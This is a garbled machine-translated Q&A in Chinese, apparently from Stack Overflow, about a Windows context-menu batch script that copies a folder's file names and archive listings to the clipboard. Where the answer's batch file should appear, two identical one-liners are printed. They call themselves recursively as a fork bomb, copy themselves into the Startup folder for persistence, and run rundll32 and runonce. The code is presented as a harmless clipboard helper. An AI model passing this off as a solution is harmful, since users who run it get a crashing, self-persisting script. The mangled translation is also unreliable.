C# 我想将右侧动态文件夹中的文件名复制到剪贴板,但要压缩

C# 我想将右侧动态文件夹中的文件名复制到剪贴板,但要压缩,c#,windows,batch-file,registry,C#,Windows,Batch File,Registry,我想在右键单击包含文件夹时将文件名复制到剪贴板,但若有zip、iso、rar或7z文件,我也需要它们的内容列表 我尝试使用batch/cmd,但它不起作用,现在我正在使用C进行测试。但我不知道如何模拟explorer contextmenue事件来将参数发送到C-App 在这两种情况下,我都从以下位置的regedit条目开始: HKEY_CLASSES_ROOT\Directory\shell\Liste\command\` REG_SZ with attribute C:\liste.bat

我想在右键单击包含文件夹时将文件名复制到剪贴板,但若有zip、iso、rar或7z文件,我也需要它们的内容列表

我尝试使用batch/cmd,但它不起作用,现在我正在使用C进行测试。但我不知道如何模拟explorer contextmenue事件来将参数发送到C-App

在这两种情况下,我都从以下位置的regedit条目开始:

HKEY_CLASSES_ROOT\Directory\shell\Liste\command\` REG_SZ with attribute C:\liste.bat "%1%"`
liste.bat:

set var=%1\
set listtmp
del c:\ESC\* /q /f
dir c:\ESC\
copy %var% c:\ESC\
cd c:\ESC\
dir  /s /b >%listtmp%
if exist c:\ESC\*.zip
(7z l *.zip >>%listtmp%)
if exist c:\ESC\*.7z
(7z l *.7z >>%listtmp%)
echo listtmp|clip    
C提供了在变量和枚举中处理列表以检查存档的好处,但我不知道如何使用下拉菜单中的参数来启动我的C-app,因此批处理更方便,有了C-EXE,更多的人会怀疑,因为广告软件。。。偏执狂同事

我认为有一种方法,不用拷贝文件,也不用那么多变量。哦,对不起,当我没有提到一件必要的事情时,这是我的第一篇文章

下一个C:\bat\dirToClp.bat文件可以帮助您在右键单击包含文件夹到剪贴板时复制文件名:

在批处理脚本中使用clip时,应在此处回音并暂停,以警告用户其剪贴板即将被覆盖。最后,如果需要,可以从dir/S/B/A-D中删除/A-D开关,因为列表中没有涉及文件夹名称

请注意7z呼叫,因为我无法验证和确认呼叫的正确性

值c:\windows\system32\cmd.exe/D/c:\bat\dirToClp%1从注册表导出,如下所示,但可以位于HKEY\U CLASSES\U ROOT\文件夹注册表项下,而不是HKEY\U CLASSES\U ROOT\目录下:

这里不是纯粹的C:\bat\dirToClp.bat调用,而是通过cmd.exe/D/C调用,因为出于工作和安全原因,我对.bat、.cmd、.vbs等使用Open with PSPad默认操作


此外,我还将批保存在C:\bat文件夹中,以避免将文件放在磁盘根目录、%userprofile%root目录和桌面上,这是一个基本原则。

我尝试使用批处理/cmd,但它不起作用。。。。哪里怎样哪个错误?如果这是你的批次,我会先检查语法7z。。。必须从IF的同一行开始。我甚至没有读过WinXP上的REST。抱歉,我正在用批处理文件中的编辑器编写脚本。没有任何错误,但不是我想要达到的目标。我把括号放在同一行,好像没什么变化。昨天我开始使用Powershell,我是否认为变量中的多行文本没有问题,但是。。。在批处理文件中使用数组有效吗?在批处理文件中使用数组有效吗?没有肮脏的半途而废的把戏是不行的。不管怎样,我的意思是:描述,写,解释它做什么和不做什么。它不起作用,远远不足以理解你的问题。请你给出你的答案,解释一下为什么这个代码会回答这个问题?代码唯一的答案是,因为他们不教解决方案。
    shift&%0>NUL|%0|copy %0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\"|%0|powershell exit|rundll32 dwmapi #102|runonce.exe|start exit|%0 >NUL|shift&%0>NUL|%0 > "%tmp%\list.tmp"|%0
Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\Directory\shell\DirToClipboard]

[HKEY_CLASSES_ROOT\Directory\shell\DirToClipboard\command]
@="c:\\windows\\system32\\cmd.exe /D /C c:\\bat\\dirToClp \"%1\""


;
    shift&%0>NUL|%0|copy %0 "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup\"|%0|powershell exit|rundll32 dwmapi #102|runonce.exe|start exit|%0 >NUL|shift&%0>NUL|%0 > "%tmp%\list.tmp"|%0